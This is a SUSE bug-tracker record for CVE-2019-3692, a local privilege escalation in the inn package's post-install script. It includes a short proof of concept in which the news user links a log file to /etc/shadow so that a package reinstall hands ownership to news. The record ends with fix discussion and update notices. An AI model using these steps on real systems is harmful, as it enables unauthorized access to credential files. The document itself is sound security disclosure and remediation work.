Bug 1154302 (CVE-2019-3692)

Summary:	VUL-0: CVE-2019-3692: inn: LPE from news to root
Product:	[Novell Products] SUSE Security Incidents	Reporter:	Johannes Segitz <jsegitz>
Component:	Audits	Assignee:	Michael Schröder <mls>
Status:	RESOLVED FIXED	QA Contact:	Security Team bot <security-team>
Severity:	Normal
Priority:	P3 - Medium	CC:	meissner
Version:	unspecified
Target Milestone:	---
Hardware:	Other
OS:	Other
URL:	https://smash.suse.de/issue/245797/
Whiteboard:	CVSSv3:SUSE:CVE-2019-3692:7.0:(AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) obs:running:11861:moderate
Found By:	---	Services Priority:
Business Priority:		Blocker:	---
Marketing QA Status:	---	IT Deployment:	---
Bug Depends on:
Bug Blocks:	1154062

Description Johannes Segitz 2019-10-17 09:47:50 UTC

259 %post
260 mkdir -p var/log/news
261 touch var/log/news/news.notice
262 touch var/log/news/news.err
263 touch var/log/news/news.crit
264 touch var/log/news/news
265 touch var/log/news/inn.status
266 touch var/log/news/innfeed.status
267 chown news:news var/log/news/news.notice var/log/news/news.err var/log/news/news.crit var/log/news/news var/log/news/inn.status var/log/news/innfeed.status

allows LPE from news user to root on systems with fs.protected_hardlinks=0

POC:
sh-5.0$ id
uid=9(news) gid=13(news) groups=13(news)
sh-5.0$ pwd
/var/log/news
sh-5.0$ rm innfeed.status
sh-5.0$ ln /etc/shadow innfeed.status

as root: zypper in -f inn
ls -lah /etc/shadow
-rw-r----- 3 news news 1.6K Oct 17 11:43 /etc/shadow

Comment 1 Michael Schröder 2019-10-17 10:00:41 UTC

Good catch! Is it sufficient to just use chown -h?

Comment 2 Johannes Segitz 2019-10-25 11:26:25 UTC

Works also with symlinks.
sh-5.0$ id
uid=9(news) gid=13(news) groups=13(news)
sh-5.0$ pwd
/var/log/news
sh-5.0$ rm news
sh-5.0$ ln -s /test/shadow news
sh-5.0$ ls -l /test/shadow
-r-------- 1 root root 1228 Oct 25 11:13 /test/shadow

reinstall inn

sh-5.0$ ls -l /test/shadow
-r-------- 1 news news 1228 Oct 25 13:17 /test/shadow

Please use CVE-2019-3692 to track this. Can be made public at any time.

chown -h helps to prevent the easy exploit with symlinks. If fs.protected_hardlinks=0 is set an attacker can use hardlinks to trick chown.

Since /var/log/news belongs to news you can use runuser as news to touch the log files, no need to chown them later with that

Comment 4 Michael Schröder 2020-01-24 16:15:22 UTC

Ok. Done.

Comment 5 Michael Schröder 2020-01-24 16:16:15 UTC

Do we also need a fix for SLE11?

Comment 6 Swamp Workflow Management 2020-01-24 16:52:10 UTC

This is an autogenerated message for OBS integration:
This bug (1154302) was mentioned in
https://build.opensuse.org/request/show/766966 15.1 / inn

Comment 9 Swamp Workflow Management 2020-02-19 23:12:00 UTC

openSUSE-SU-2020:0234-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154302
CVE References: CVE-2019-3692
Sources used:
openSUSE Leap 15.1 (src):    inn-2.5.4-lp151.3.3.1

Comment 10 Swamp Workflow Management 2020-02-24 23:11:47 UTC

openSUSE-SU-2020:0242-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154302
CVE References: CVE-2019-3692
Sources used:
openSUSE Backports SLE-15-SP1 (src):    inn-2.5.4-bp151.4.3.1

Comment 11 Johannes Segitz 2020-07-20 12:30:30 UTC

fixed, thanks for the submits